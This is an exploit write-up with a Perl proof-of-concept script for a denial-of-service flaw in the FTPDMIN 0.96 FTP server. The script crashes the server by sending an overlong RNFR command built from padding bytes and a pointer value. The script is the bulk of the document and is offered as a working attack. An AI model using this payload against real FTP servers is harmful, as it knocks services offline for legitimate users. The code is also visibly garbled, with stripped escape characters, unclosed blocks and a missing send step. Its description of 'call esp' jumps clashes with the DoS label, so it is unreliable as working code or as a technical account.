Authored by Fernando Mengali

FTPDMIN version 0.96 suffers from a denial of service vulnerability.


use Net::FTP;

# Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 02 january 2024
# Vendor Homepage:
# Download to demo:
# Notification vendor: Yes reported
# Tested Version: FTPDMIN 0.96
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo:

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via FTP command RNFR.
#The following request sends a large amount of data to the FTP server to process across command RNFR, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC


if ($sis eq "windows"){
} else {



print "[+] Exploiting... n";

my $buf = "x41"x269;
my $point = "x45x2ax42x7b";
my $buf2 = "x41"x126;

my $payload = "RNFR ".$buf . $point . $buf2;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to server: $@";




print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "***************************************************n";
print "* FTPDMIN 0.96 - Denied of Service *n";
print "* *n";
print "* Coded by Fernando Mengali *n";
print "* *n";
print "* e-mail: [email protected] *n";
print "* *n";
print "***************************************************n";

sub main {

our ($ip) = @ARGV;

unless (defined($ip)) {

print " nUsage: $0 <ip> n";


#3. Solution/ How to fix:

# This version product is deprecated